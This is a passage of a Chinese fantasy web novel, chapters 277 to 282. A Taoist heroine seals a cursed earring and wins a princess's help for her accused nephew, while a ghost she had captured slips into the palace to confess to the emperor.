徐菀则神态平和地说:“殿下也不必如此紧张,只需略施小计,便可祛除这耳环上的阴晦之气。” “哦?有何小计?” 大长公主问罢,但见徐菀从腰间的小荷包中取出一张黄纸和朱砂膏。 而后用朱砂膏在黄纸上行云流水地画下一道符,再起身行至大长公主身边,将那副耳环用符纸包了起来。 “请殿下准备一个陶土坛子,在坛子里放满厨房灶台下的土。” 大长公主忙吩咐嬷嬷去准备,少倾便将放满灶台土的坛子拿了过来。 徐菀再将那用符纸包好的耳环,塞进坛子中的土里。盖上坛子盖后,又用一道符纸封住坛盖。 至此,徐菀才开口嘱咐道:“请嬷嬷将这坛子放在灶台下,让每日生火做饭的热气能蒸烤这坛子,但是莫要用明火烧它。 因为这耳环上的阴晦之气,是从极阴的陵墓中带出来的。所以用生火做饭的极阳之火,可抵消其上的阴晦之气。如此过七日之后,耳环上的阴晦之气便可消除。” 第277章 277.大长公主出马 “如此过七日之后,耳环上的阴晦之气便可消除。” 听罢,大长公主心中悬着的大石总算落下,长舒一口气,“原来如此。还好有菀菀你在,否则本殿继续将这耳环戴下去,还不知身子会弱成什么样呢。” 话毕,大长公主即刻命人按照徐菀说的,将坛子拿去厨房放好。 徐菀又取出一道强力护身符,起身亲自交给大长公主,“殿下,这道是强力护身符。请将其时刻戴在身上,可防一切邪祟鬼怪近身。” “好,多谢菀菀。” 大长公主伸手接过,却发现在那道强力护身符下,还藏着一张字条。 她微微一愣,抬首刚想开口问,“这是...” 徐菀却向她摇了摇头,也并未开口解释。大长公主便知,这字条不宜在此处查看,待她回房后独自一人再看。 于是向徐菀点点头,将护身符和字条一同放入袖中。 做罢这一切,大长公主向徐菀感激道:“菀菀今日亲自上门拜访,又帮本殿驱邪,又是送符纸的。 本殿也懂得规矩,香火钱必不能少。只是不知菀菀觉着多少合适?” 徐菀心思一动,总算能借此提出今日前来拜访的真正的目的了。 “殿下客气了。去年在宫宴上我便说过,我与殿下有缘。殿下的事便是我的事。 今日前来您府上拜访,也是我自愿前来,这香火钱就免了。但菀菀近来确实有件急事,想请殿下相助。” “哦?何事啊?” 徐菀说着,忽然带着东珠与两位徒弟一同向大长公主跪了下去,“请殿下救救永嘉侯府及我侄儿慕煜峥!” 大长公主见徐菀突然如此郑重地向她下跪请求,亦不禁紧张起来。起身行至她面前,将她搀扶而起。 “菀菀你这是作甚?快起来。有何事你坐下慢慢告诉本殿。” 徐菀顺势起身,重新坐下后,将永嘉侯府与周家和魏家近来发生之事,向大长公主娓娓道来。这一讲便讲了半个时辰。 “...今日一早,皇上身边的总管太监带着大理寺的捕役,突然闯进我府上,将我侄儿慕煜峥押走。 想必是魏大人昨日又与皇上说了什么,皇上才会突然变了心意,要治周家和我侄儿的罪。 菀菀实在别无他法,只好来求殿下您在皇上面前劝说几句,让大理寺莫要急于定他们的罪,给大理寺足够时间,查清案件真相。” 大长公主听后恍然大悟,心中亦有暗暗的震惊。 “刑部尚书周大人一辈子在刑部兢兢业业,破获大案奇案无数。 皇上竟糊涂到听信魏志鸿那种小人的谗言,要将忠臣能将治以欺君之罪。真是气煞我也! 本殿绝不会眼睁睁看着,周大人一家与永嘉侯府受此冤屈。” 大长公主气愤地拍了一下手边的案几,对徐莞道:“菀菀你放心,本殿这就收拾收拾,进宫面见皇帝。” 徐莞略略激动地再次向她跪地一拜,“妾身拜谢大长公主殿下的救命之恩!” 二人谈话完毕,大长公主立即回寝屋收拾片刻,便坐上马车向皇宫赶去。 徐莞向她告辞后,返回永嘉侯府。 在回府的马车上,白虎忍不住夸赞道:“师父方才也太厉害了,一眼便看出那副耳环有问题。 而且还将那耳环的来历,和阴晦之气推测得极其准确。不愧是青云观观主啊。” 东珠亦一脸崇拜地附和道:“我们夫人对什么事都能未卜先知,简直比神仙都厉害!” 徐莞颔首内敛一笑,“你们也太夸张了。我不过是将自己算到的,和观察到的都利用上而已。” 这时,方才一直未出声的朱雀,问出了一个关键问题。 “师父,您说的那阴晦之气,真的那么容易祛除吗?那耳环可是从乌兹王后的陵墓中挖出来的。不会那么简单吧?” 徐莞赞赏地望向朱雀,“还是朱雀观察入微。” 而后微眯起眼望向车窗外,意味深长道:“那副耳环上的邪祟复杂着呢。今日因时间匆忙,我只得暂且帮她将那耳环封印。 待永嘉侯府与周府之事解决后,再来为她做法,彻底铲除其上的恶灵。” “原来如此,还是师父考虑得周全。” 朱雀虽道行尚浅,但也能看出那副耳环阴气极重,似乎不简单。 再听徐莞一说,朱雀更加钦佩师父了。原来一切都在师父的掌控之中。 就在此时,徐莞喃喃道:“只盼大长公主能懂我的意思,全力配合才能将那邪祟一网打尽。” 朱雀听到语声抬眼向她望去,只见她目光缥缈地望向对面车窗外。 但渐渐地,她的眼神愈加清明坚定,似积蓄了无限的力量。 === 半个时辰后,盛国皇宫。 皇上寝宫内的瑶华阁里,皇帝景逸正在两位宠妃的陪同下,兴致盎然地用着精致午膳、品着美酒琼浆,一边欣赏着下方舞姬们悠扬曼妙的歌舞。 就在此时,瑶华阁外忽然传来一阵杂乱的争吵声。 “大长公主殿下,陛下正在用午膳,请您在耳房稍坐等候片刻...” “滚开!皇帝在用膳,本殿为何不能进!再敢拦着本殿,待会儿本殿就让皇帝将你拉去砍了!” “殿下饶命!陛下有命,您真的不能进啊殿下...” 不待门外太监尖厉惊恐的嗓音喊完,瑶华阁的大门便被人嘭的一声猛地推开。 前方正在舞蹈奏乐的舞姬乐师们,皆被吓得扑倒在地,倒抽一口气,乐曲与舞蹈戛然而止。 这一声也将高台上的景逸和两位妃子惊得动作一顿,面上倏然变色。 景逸定睛望去,那猝然闯入瑶华阁的人,竟是他的姑母大长公主。 “姑母...您怎么来了?” 大长公主傲然立在瑶华阁门口,面容严肃、双目如炬定定望着高台上的景逸,周身散发出阵阵厉然之气。 阁内的舞姬乐师们,忙不迭爬起身,弯身颔首自两侧快步退出瑶华阁。 景逸身边的两位妃子,也颇有眼色地站起身,颔首行至大长公主身边时,向她略略施礼,便也离开了此地。 转眼间,瑶华阁内便只剩下了大长公主与景逸两人。 第278章 278.训斥皇帝 转眼间,瑶华阁内便只剩下了大长公主与景逸两人。 景逸虽贵为天子,但从小在太后的掌控下,似乎从未立起来过。 见到太后与这位姑母时,还会战战兢兢、惶恐不安。 见阁内已没了旁人,景逸小心翼翼地站起身问道:“姑母,您今日前来,所...所为何事?” 大长公主肃着脸瞪住上方的皇帝,一面向前踱步,一面厉声道: “刑部与大理寺都乱成什么样了,你竟还在此宴饮欢歌?这盛国朝纲,都要被你给祸乱了!” 景逸正从案几后往外走,被大长公主一吼,瞬时一个不小心,被桌角绊到,差点从台阶上滚下去。 最后幸好扒住了桌案边缘,才让自己跌坐在台阶上,没有滚下去。 “姑...姑母,您在说什么?”景逸此时还处于惊惶之中,尚未明白她的意思。 “无凭无据的,你便说刑部周正忠大人和其子周祎仁买卖试题、欺君罔上,甚至要将他们择日宣判处刑。 从前本殿怎么没发现你如此有主见。如今倒是要如此雷厉风行地将整个周家铲除,你可真是好啊!” 那个“好”字,大长公主咬得极重,好似恨不得将他的骨头咬碎。 景逸这才明白大长公主今日是为何而来。涉及到周家一事,景逸也有了些底气。 他扶着桌角慢慢站起身,向大长公主解释道:“姑母您有所不知。周家在调查魏志鸿之子坠楼一案时,竟以鬼神之说结案。 又为掩盖自己买卖试题之罪,伪造了多重证据,妄图嫁祸给魏志鸿。 如此心思恶毒,目无王法之人,不该治他们的罪吗?” “有证据证明是周家买卖试题的吗?”大长公主厉声打断他,“你怕只是听了魏志鸿的一面之词,就下意识地认为是周家买卖试题吧。 还有,刑部以鬼神之说结案有何不可?这世上有些事的确解释不清。你没见过,不代表它们不存在。 若是你真对此不信,为何还要重用卫颐?那卫颐不也是出身道门,以道术与丹药稳坐钦天监之位的吗?” 大长公主此话,一时间令景逸不知如何反驳。 他重用卫颐,确实是因为他道术了得,又炼得一手好丹药。 但...卫颐与刑部那种以鬼神之说定案...真不一样。 “姑母,是不是周家或慕家的人求您来向朕说这些话的?若是如此,请您回吧。朕自有决断。” 景逸的答复让大长公主更为恼火,当即再次骂道:“自有决断...好啊景逸,你如今翅膀硬了,连姑母的话都听不进去了。 若是你今日一定要治周家的罪,将他们斩首抄家,本殿便去大理寺拦着。谁敢动他们,先将本殿砍了!” “姑母...” 大长公主就是这样激烈极端的性子。 若是与她磁场不合之人,无论如何讨好她,都入不了她的眼,反而会惹她厌恶。 而若是与她兴致相投之人,她则会无条件的信任,倾尽所有为其一搏。 就在景逸与大长公主二人相持不下时,瑶华阁的大门又被推开。 太后迈着平稳的步子,施施然走了进来。 景逸望见太后,如看见了救命稻草,忙从台阶上走下来,向太后一拜,“儿臣见过母后。”随后便用求救的目光望着太后。 太后方才听到宫人前来通报说,大长公主突然入宫找皇上,且与皇上在瑶华阁吵了起来。 她忙不迭动身往这边赶,怕他们二人闹出什么乱子。 因此,她向景逸递了个“稍安勿躁”的眼神后,便向大长公主道:“姐姐难得进一次宫,是为何事动如此大的气呢?” 太后年近四十美貌依旧,说话也是温温柔柔的,与脾气严厉的大长公主截然不同。 大长公主又将方才二人争论之事简要讲与太后。太后听罢心中立时明了。 如今不是要断出谁对谁错,也不是必须要听谁的话,而是将大长公主安抚下来。 否则以她的性子,绝对会做出他们无法想象之事。到时损害了皇室颜面,岂不惹群臣和天下人笑话。 于是太后思忖片刻,向景逸略略责备道:“皇帝,此事是你下令得仓促了。如此大事,怎能在几日之间就宣判定罪。 依哀家所见,应多给大理寺一些时间,命其细细调查。人证物证齐全之后,才可依规宣判。如此才能以服群臣及百姓之心。” 说到此处,太后转过脸来看向大长公主,“姐姐,您是否也是这个意思?” 太后的一番话给了大长公主台阶下,她方才的气也消了大半,于是垂睫“嗯”了一声,沉声道: “嗯,本殿就是这个意思。刑部及大理寺断案不能如此草草了事。你作为皇帝,更不能如此仓促就给朝廷重臣定下欺君罔上之罪名。至少要给大理寺时间,将案子查清楚,否则难以服众。” 太后立即向景逸递了个眼色,景逸忙点头答应,“姑母说的是。朕会给大理寺时间,让他们细致调查,务必等证据确凿之后再行定罪。” “好,姑母要的就是这句话。”大长公主道:“皇帝现下就拟一份手谕,将你方才说的话写下来,派人去大理寺宣读。” 景逸不敢怠慢,命内官监太监呈上纸笔,大笔一挥写下一道手谕,而后交给管事太监,让其即刻启程去大理寺宣读。 此事做罢,大长公主才略略满意,“此次买卖试题一案牵扯甚广。本殿之后也会随时跟进大理寺的办案情况。皇帝,莫要再盲目听信他人之言,冲动行事了。” 景逸的情绪也逐渐平复,向大长公主施礼道:“儿臣谨遵母后与姑母教诲。” 话至此处,大长公主已达到自己的目的,遂打算出宫。 太后与景逸本想派人送送她,大长公主却说:“不必了。本殿还要去大理寺盯着那公公有没有宣读手谕。皇帝你就在宫里好好歇着吧。” 话毕,便转身大步离开了瑶华阁。 片刻后,待大长公主的身影看不见了,景逸才愤愤不平地对太后道:“母后,您怎的不帮儿臣说话,反倒要让儿臣听那无理取闹之人的话?” 第279章 279.螳螂捕蝉黄雀在后 “母后,您怎的不帮儿臣说话,反倒要让儿臣听那无理取闹之人的话?” 景逸一脸愤恨地质问太后。 作为一国至尊,却被一名妇人呼来喝去,让今日在瑶华阁的舞姬乐师和两位妃子看到了,不知会在背后如何议论他呢。 太后则一脸慈祥平和地搂过他的肩,带着他转身一面向高台走去,一面耐心地安慰: “皇帝啊,你又不是不知你姑母的性子。你越跟她对着来,她就越是疯。若是最后她闹得朝堂和百姓人人尽皆知,不是有损我们皇室的颜面? 听母后一句劝,今后莫要与你姑母一般见识。她若是再来宫里与你闹,你便派人来寻我,母后帮你解决,可好?” 景逸低下头暗叹一声,他清楚母后向来都是如此,让他别跟姑母硬刚。这么多年来,他也从未忤逆过母后的意思。 转念一想,他又觉得自己这个皇帝当的窝囊。近而立之年,却还要事事听母后的,从不能自己决断。 “是,母后,儿臣明白。只是姑母每次对朕说话都如此不客气,从未将儿臣视为一国之君。实在是令儿臣气恼。” 太后抬手,温柔地抚摸景逸的脸颊,定定望着他道:“母后明白你的感受。但我们孤儿寡母势单力薄,还不能与大长公主和那些重臣抗衡。 不过母后向你保证,总有一天你可以按照自己的心意,执掌这天下,没有人再敢对你无礼。” 望着太后温柔却坚定的眼神,景逸心中的不忿渐渐散去。 他明白在这深宫之中,他能信的只有母后和卫颐。母后都是为了他好,所以他愿意听母后的话。 “是,母后。儿臣也会努力成为您的坚实依靠,让任何人不敢欺负我们。” 话毕,母子俩动容地拥抱在一起。 良久,太后松开景逸,让他好生处理朝政,自己要回寝宫休息了。 在回寝宫的路上,太后绷紧的神经总算稍稍放松。 她今日特意赶来,让景逸按大长公主的话做,不仅仅是因方才她说的那个理由。 更重要的是她知晓,魏志鸿身后的靠山是何钦。 当年,她一手将何钦从五城兵马司提拔到兵部,再到五军都督府佥事,直到如今的都督同知。 何钦却仗着自己的权势,越发傲慢不驯,甚至开始威胁他们母子,妄图掌控整个盛国。 太后正愁找不到机会敲打整治何钦,而今魏志鸿正好给她送上了个好机会。 若是大理寺能查出当年何钦帮魏志鸿调包试卷一事,那么皇帝便可顺势治何钦的罪,将其一网打尽。 就算何钦那个老谋深算的提前防备一手,大理寺也可将魏志鸿与国子监那帮人拉下马,等于断了何钦的左膀右臂,也能对他有所打击。 而周家并没有那么大的野心,因而利用周家是最合适不过的。 如此,一个螳螂捕蝉,黄雀在后的局便做成了。 思及此,太后长舒一口气,抬首望向寝宫上方反射着刺眼日光的金瓦,缓缓露出一抹尽在掌控中的笑。 === 时近傍晚,夕阳西落。慕怀瑾才姗姗回到永嘉侯府。 一进侯府,慕家上下已都在正厅中候着他了。 “大哥,煜峥和周大人一家情况如何?”薛敏芝慕怀清首先站起身,急切问道。 黎老夫人坐于首座,亦一脸担忧地望着他。 徐菀与慕怀灵坐在右侧的椅子里,见慕怀瑾回来,忙为他倒了杯茶。 慕怀瑾向他们压了压手,示意莫慌。在徐菀身边坐下,端起茶杯几口便喝完,随后才沉声道: “怀清敏芝莫急,煜峥在大理寺暂时不会有危险了。” 听罢,慕怀清薛敏芝眼前一亮,“事情有转机了吗?” “对,”慕怀瑾点头道:“我与定北王初到大理寺时,周正忠大人也将将被押入大理寺大牢。 我们去向大理寺卿谭大人求情,请他将煜峥和周大人等人安排进安全些的牢房。但谭大人油盐不进,丝毫不给我们情面。 不过午后来了一位总管太监,又宣布了一份圣旨,让大理寺细致查案。 随后大长公主也来了,将大理寺的官员们训斥了一顿,让他们将周大人等人安排进了特殊牢房,并派多名狱卒保证他们的安全。 大理寺卿也向大长公主和我们保证,会秉公谨慎调查。 且已派人去甘州州府,调取嘉礼县十几年前的县志。同时派人去国子监监督调取十四年前殿试的试卷。 若是将这两份证据拿到,便能证明娄贲当年为魏志鸿调包试卷,魏志鸿科举舞弊、欺君罔上之罪。” 慕家人一听,皆长长呼出一口气,紧绷的神经终于略略放松了些。 “太好了。真是多亏了大长公主及时赶到。”薛敏芝忽然想起了什么,望向徐菀: “我记得大嫂上午去过大长公主府上。所以是大嫂说服了大长公主,让她去向皇上求情的吗?” “那还用说?”慕怀灵一脸崇拜地接口道:“大嫂在去年宫宴时就受到大长公主的青睐,她还带着大嫂去见皇上太后呢。 今日大嫂到她府上,必是向她展露了几招道术,就让她佩服的五体投地,心甘情愿为咱们去向皇上求情。我猜的对不对啊,大嫂?” 慕怀灵说着,恨不得整个人贴到徐菀身上去,将徐菀身后的白虎都看得嫉妒了。 岂有此理,怀灵姐姐居然比我还会拍师父的马屁,让我这师父的吉祥物置于何地? 徐菀淡淡地笑了笑,不甚在意道:“对。今日我前往大长公主府上,不过是帮她祛除了耳环上的阴晦之气,她便答应帮我们了。” 慕家人听后,皆对徐菀露出赞许喜爱之色。 “真是多亏了菀菀啊。”黎老夫人笑得眉眼弯弯,连眼角的皱纹都是欢喜的模样。 慕怀清薛敏芝夫妇更是对她千恩万谢,就差对她下跪磕头了。 徐菀将他们一一安抚好后道:“大家都太客气了,都是一家人,煜峥的事就是我的事。” 慕怀清兴致勃勃道:“待此次危机度过,青云观也该建得差不多了。到时我与敏芝定第一个去观里捧场!” 徐菀心思一动,“青云观建得差不多了?这是何意?” 第280章 280.魂魄逃跑 徐菀心思一动,“青云观建得差不多了?这是何意?” 慕怀清蓦地一顿,下意识地望向慕怀瑾,面上一副说漏嘴了的表情。 慕怀瑾则微微颔首,责备地瞪了他一眼。徐菀也将视线移到慕怀瑾身上,用询问的目光望向他。 对面的慕怀清立即有眼色地改口,“哦大嫂,我的意思是,待我们家度过此次难关后,新的青云观就可以着手开建了。 到时我与大哥会多多帮你参谋参谋的。待新道观建成,我与敏芝定要去上头香!” 说着,慕怀清暗暗扯了扯薛敏芝的衣袖,薛敏芝即刻反应过来,附和道:“啊对对对!大嫂对煜峥的恩情我们无以为报,定会为青云观多添些香火的!” 徐菀望着他二人一唱一和,又有些慌乱的解释,心中不禁有些怀疑。 真的是如此吗? 还是...他们私下里另有她不知晓的动作? 徐菀再次将目光投向慕怀瑾,慕怀瑾却轻咳一声,仿若事不关己的样子,向众人道: “时候不早了,大家都在此处等了我半晌,也该回去休息片刻用晚膳了。菀菀,我们也回松风苑吧。” 话毕,慕家众人皆起身各自告辞,返回自己的院落。 稍后在用晚膳时,徐莞又问起了青云观一事。 “怀瑾,你说建一所道观要花多少银子呀?” 慕怀瑾认真答道:“这要看道观的大小、装潢,其中所需物品的数量,以及道观所建的位置。 根据不同的档次,大概需要花费五百两至两千两不等。” “那你觉得,道观是建在京城内好,还是城外的山上好?” “自然是建在京城好。达官贵族、市井百姓皆在城内。青云观建好后,香火自然旺盛。” “可是,城里已经有紫霄观和八仙观两座大道观,还有小道观若干。青云观建在城内的话,是否会受他们的排挤?” “怎么会?”慕怀瑾霸气道:“有我永嘉侯府为你撑腰,谁敢排挤青云观? 更别说如今大长公主也成了你的裙下臣。有大长公主在,谁敢得罪你?” 徐莞抿唇一笑,“咱们夫妻所见略同啊。我也是如此想的。 将青云观建在京城内,各自凭本事赚香火钱,不怕其他道观抢生意。” “对,这才是我认识的菀菀。” 慕怀瑾说着,搂过她的肩,兴致高昂地在她面上香了一口。 徐莞心中却暗自窃喜,她大概已猜到慕怀清所说的青云观建在何处了。 晚膳过后,徐莞将小荷包中的符纸和法器一一取出盘点一番。 这是徐莞每日的例行公事。哪种符纸或法器缺了,她好及时补充。 今晚在盘点时,她看到了那个收集定北王府铜镜上黑气的小瓷瓶。 但时至今,这小瓷瓶都无任何反应。说明那名给铜镜施咒之人,还未在她身边出现。 将这瓷瓶再次放入小荷包中,徐莞又拿起另一个瓷瓶。这个瓷瓶中收着的是汪进士的魂魄。 可在徐莞将瓷瓶拿在手中时,却发觉有些不对。 虽然一个魂魄只有不到一两的重量,但只要是经过徐莞手的魂魄,她都能准确掂量出其重量。 而如今这个装着汪进士魂魄的瓷瓶,却异常的轻,就像里面是空的一般。 徐莞立即将瓶塞拔开,等了片刻,并无魂魄从中飘出,里面果然空了! 慕怀瑾注意到徐莞已定定站了半晌,一动未动,不禁也察觉到了不对。 于是来到她身边问,“菀菀怎么了?” 徐莞拿着那小瓷瓶侧过身,秀眉微蹙,“汪进士的魂魄不见了。” “不见了?”慕怀瑾亦略略惊讶,“为何会不见了?是他从这瓷瓶中逃出去了?” 徐莞顾不上回答,全神贯注地回忆今日去过的地方,见过的人,发生的事,搜寻是否有何线索。 忽然,她想起今日在大长公主府,在她从小荷包里取黄纸和朱砂膏时,不小心将瓷瓶的瓶塞弄开了。 当时她也并未在意,很快将其再次塞上,就继续为大长公主画符了。 此刻想来,汪进士的魂魄应是在那时跑出去的。 可他跑出去要做什么呢? 应该不是为了留在大长公主府吧。 若是他并未留在大长公主府,那么仅能去一个地方——皇宫。 “遭了,他不会进宫找皇上去了吧!” “什么?菀菀你说谁进宫找皇上?”慕怀瑾也因她的神情紧张起来。 徐莞转过身郑重望向慕怀瑾,“是汪进士。他可能藏在大长公主身上混入皇宫了。” “他为何要冒险入宫找皇上?”慕怀瑾猜测道:“难道他想亲自去向皇上说明当年的真相?” “有这个可能。” 慕怀瑾眉宇微蹙,“他应该不会泄露是从我们这里逃出去的吧?” “不会。汪进士为人正直,重情重义,不会将我们供出来的。我担心的是……” 徐莞顿了顿,眉宇间萦绕着担忧,“皇宫中到处皆是辟邪镇妖之物。他此去怕是不一定能回来……” 徐莞说着,侧头望向屋外的夜空。 但见一轮下弦月斜挂夜空。下弦月周围不时有阴云飘过,将月光遮蔽。大地亦陷入一片阴暗之中。 慕怀瑾转过身,搂着她的肩与她一同仰首望向那轮下弦月,无声传递着自己的关切与陪伴。 === 在这同一轮下弦月映照下,盛国皇宫中一派寂静肃穆。 时近子时,各个寝宫殿阁次第熄了宫灯,其中的主子渐渐进入梦乡。 而在皇上的寝殿内,宫灯还亮着几盏。 景逸正坐于寝殿内的书桌后,借着桌案上的宫灯烛火,熬夜批阅着奏折。 又过了许久,景逸才将今日的奏折尽数批完,准备唤太监为他解髻梳洗,换上寑袍就寝。 “张德全。” 张德全乃司礼监掌印太监,无时无刻不候在皇帝身侧。 景逸批阅奏折时,张德全也随侍在侧,不时为他添茶研墨。 但景逸唤他一声后,却未听到预料中的应答声。 “张德全?张德全!” 景逸又喊了两声,还是没听到张德全的回应。 景逸略有些气恼地扭过身子,却发现身后竟空无一人。 奇怪,方才张德全明明一直随侍在身后的,此时为何不见了? 第281章 281.皇上遇鬼 奇怪,方才张德全明明一直随侍在身后的,此时为何不见了? 他何时出去的?怎没有知会朕一声。 思及此,景逸站起身向寝殿大门走去,打算唤门外守着的太监进来。 “张德全在不在外面?外面的人进来为朕解发更衣。”景逸一面走着一面道。 按照常理,他一喊,外面就会有太监应答并进来伺候。 可方才他说完之后,外面却一点动静也无。 奇怪了,他明明能看见立于寝殿门外的那几个身影。 但他喊了他们之后,外面的人为何无一点反应,好似什么都未听见一般。 就在这时,寝殿两侧的几盏大型宫灯骤然熄灭,周围倏地暗了下来。 景逸心头一惊,极快地转身向四周望去。 但见整个寝殿内霎时陷入一片漆黑,仅剩桌案上的两盏小宫灯,火光还在跳动。 再配上殿内殿外诡异的死寂,显得有些阴森可怖。 景逸不由得打了个寒颤,第一反应便是有刺客! 随后他快步向殿门奔去,同时高呼着:“快来人!有刺客!快来救驾!” 没两步的距离景逸便已奔到门边,他伸手一推,殿门却未如他预想的一般被推开。 “怎么回事……” 景逸一下子慌了,再次推门,又不停地拍门,同时大喊:“来人啊!外面的人都聋了吗!快开门!让朕出去!开门呐!” 可不管他如何拍打踢踹,殿门依然纹丝不动。门外的人影也如同假人一般,一动不动。 景逸拍打踢踹了半晌,将自己累的筋疲力尽,他转过身背靠着殿门,大口大口喘着气。 遭了,外面的人都被收买了吗? 难道没有一个人能来救朕了吗! 景逸彻底慌了,紧张地盯着殿门黑暗处,略略颤声道: “大胆狂徒!竟敢闯入天子寝殿欲行不轨!你可知谋害天子该当何罪!” 可当他吼完之后,黑暗中也无刺客现身。寝殿内一派静悄悄的,令人无比惊恐不安。 就在此时,景逸感觉一股莫名的寒意,从他身旁的门缝中钻了进来,擦着他的耳廓飞入殿中。 他不由得再次打了个寒颤,感觉殿内顷刻间冷了下来,寒气逼人。 下一刻,一个灰黑色的影子嗖地从他眼前飞了过去。 景逸还未看清到底是何物,那影子却又不见了踪影。 他下意识地转头在四下里寻去,却又找不到任何动静。 “出来!少在那儿装神弄鬼!朕乃九五至尊、真龙天子!一切妖魔鬼怪都别想近身!” 景逸朝着殿内空旷黑暗处一通乱喊,想吓唬对方的同时,也为给自己壮胆。 可他方一转头,便见一张惨白中透着青灰的脸,朝他门面直冲而来。 “啊啊啊啊啊!” 景逸登时溢出一道尖叫,吓得一屁股坐到地上,闭着眼抱住头不住惊恐哭嚎: “别过来啊!朕与你无冤无仇,你别来找我!滚开!别过来!” 就在此时,一道空灵虚渺的嗓音,在他耳边低低响起,“皇上...草民是来伸冤的...” “伸...伸冤?”景逸不自觉一抖,却还是不敢睁开眼。 “陛下莫怕,草民并无恶意。只要陛下愿意听草民陈词,草民保证不会伤到您。” 景逸如今确认自己是见到鬼了,否则为何无论如何喊叫拍门,外面的人都全无动静。 自己此时就像只小老鼠一般,被这鬼魂关在殿内,任鬼宰割。 若是不听它的话,那鬼怪岂不是要将他吃了... 思及此,景逸深吸几口气壮起胆子,缓缓抬头睁开眼,但见在桌案边上,立着一个半透明的身影。 那身影看轮廓是个男子,周围笼着一层灰黑色的光,朦朦胧胧,令人看不真切他的面容。 “你...你是何人?”景逸靠着殿门,慢慢从地上站了起来。 那个鬼魂竟掀起长衫的衣角,向他行了一跪拜大礼,“草民汪焕清参见皇上!” 没错,这个鬼魂正是汪焕清。 数日之前,汪焕清还在徐菀的小瓷瓶中时,便听到了慕家与周家和定北王之间交谈的内容。 当得知周家被魏志鸿反咬一口,诬陷为买卖试题之人时,汪焕清便激愤异常。 次日,他又听到周家公子与侯府侄儿慕煜峥被诬陷为杀害魏庆坤的凶手,并将二人和两位周大人统统押去大理寺,择日便要宣判惩处后,汪焕清便再也坐不住了。 魏庆坤的死是他一手造成的,与周平章和慕煜峥无关。周慕二人因他而身陷囹圄,甚至被判处死刑,汪焕清就算死都无法瞑目。 另则,他也无法眼睁睁看着,魏志鸿将周大人一家诬陷至此,而将自己撇得一干二净,继续在朝堂中如鱼得水,与娄贲之徒弹冠相庆。 因此,汪焕清哪怕冒着魂飞魄散的风险,也要进一次宫,在皇上面前现身,当面将实情告诉皇上。 于是,今日当徐菀在大长公主府上时,汪焕清寻了个机会便从小瓷瓶中脱身,先是悄悄藏在了大长公主的一枚戒指里。 待大长公主前往皇宫时,他又顺势藏在了她的衣袖里,躲过了皇宫门外的两只大石狮,及各类辟邪法器。 终于进得皇宫,跟着大长公主见到了皇上,汪焕清本以为帝王周身皆有龙气护体,一般的妖魔鬼怪无法近身。 但在接近皇上时,他却感到其身上的龙气并不似他想象的那般强大。 遂,汪焕清又藏在了皇上腰间的玉佩上。 直到晚间将近子时时,他才施法将寝殿周围的太监与侍卫控制,将这间寝殿变为一独立封闭的空间。 让外间的人无法察觉内部的情况,殿内的皇上也无法出去。 可没成想自己的出现,会将皇上吓成那副模样。 原来身为九五至尊的皇帝,也同普通人一般,会怕鬼怕到腿软尖叫。 如此失态,反倒让皇帝在汪焕清心目中的形象土崩瓦解。 思及此,却听紧贴着寝殿大门的皇上,再次壮起胆子开口问:“汪焕清?你有何冤屈?为何要来找朕诉说?” 汪焕清起身,抱拳颔首一拜,“草民想来对皇上陈词,杀害魏庆坤的不是周家与慕家公子,而是我。” 第282章 282.被困寝殿中 “草民想来对皇上陈词,杀害魏庆坤的不是周家与慕家公子,而是我。” 景逸略微讶然,“是你害了魏大人的儿子?为何要这么做?” 随后,汪焕清便将那晚在书院阁楼顶上的情况,一五一十讲与景逸。 “...正因如此,刑部的验尸卷宗中才写道:魏庆坤是因内脏冻结而亡,之后才受惊坠楼致内脏破碎成渣。 一切都是因我而起,与周家慕家两位公子无关。望陛下撤回他二人杀人害命之罪,还他们清白。” 景逸听完,终于渐渐冷静下来,不似方才那般害怕。 紧接着他忽然意识到,自己竟与一只鬼魂待在一处,听他讲了半个时辰。 真如同白日里姑母所说,许多事物未曾见过,不代表它不存在。 今日亲眼见到鬼,彻底颠覆了景逸此前的认知。 原来这世上真有许多无法解释的案件,并不是刑部办案不力,而是他景逸目光狭隘了。 “原来如此。”景逸松了一口气道:“你为了不让两位公子蒙受冤屈,主动前来向朕认罪,坦诚之心值得嘉奖。 但你为何会死在书院阁,又在那里待了十四年,久久不愿离去呢?” 问到此处,汪焕清立即打起精神,再次向景逸磕头一拜。 “皇上,实不相瞒,这也是草民此次前来伸冤的缘由。草民是被魏志鸿那个狠毒小人害死的!” “什么!” 稍后,汪焕清又将十四年前他与魏志鸿之间的往事,及他如何被害的过程,向景逸絮絮讲来。 === 而与此同时,寝殿外巡逻的一队侍卫,忽然发现在距寝殿外不远处的花丛当中,似乎躺着一个人。 “是何人在那里!快快放下武器出来!” 为首的侍卫瞬间拔出腰间长剑,对准了花丛中之人。 与他一同巡逻的侍卫们,亦纷纷举起长枪与长刀,随时准备与那人短兵相接。 可为首的侍卫喊了好几声,花丛中都无任何动静,那人仅一动不动躺在原处,仿佛死了一般。 侍卫们颇为疑惑,互相对视一眼后,为首的侍卫小心翼翼上前,用长剑拨开遮挡的花草。 借着周围侍卫提着的宫灯定睛一看,那躺在花丛中的人,竟是皇上身边的掌印太监张德全! “张公公!张公公您醒醒!” 几名侍卫忙围上去对张德全一顿摇晃。 好在他只是昏睡了过去,被摇了几下后便幽幽转醒。 但他睁开眼后的第一反应,竟是大叫一声猛地往后一蹿,“鬼啊!不要过来!” 张德全突然一吼,将几名侍卫也吓得向后退了两步。 镇定下来后,再次向他凑了过去,温声温气道:“张公公,我等是御前侍卫,不是鬼。您别怕,我等在此处护着您呢。” 张德全坐在花丛堆里喘着粗气,听到侍卫们的几句话,他才渐渐平复下来定睛望去,见确实是几名御前侍卫,这才长舒一口气。 “哎呦,快扶咱家起来。” 几名侍卫依言将张德全从花丛里拉了起来,而后小心地问:“张公公,您不是在陛下寝殿中伺候着吗?怎么会睡在这里?” 不问还好,一问起此事,张德全又蓦地想起自己昏迷前发生之事。 他先小心翼翼向四周望了一圈,之后压低声音道:“我…我见到鬼了!” “啊?见鬼了?” “鬼在哪里?” “真的吗?真的有鬼?” 几名侍卫一听,亦一片哗然,纷纷议论起来。 原来,张德全此前确实是在皇上寝殿里侍候。 但不知怎么的,他忽然感觉后颈处传来一阵冷意,就像有人对着他脖颈后面吹冷气一般。 张德全下意识地转头望去,顿时,一张惨白中透着青灰的鬼脸,带着嘴角边殷红的血迹,突然出现在他的眼前,将他吓得尖叫一声,之后就什么都不知道了。 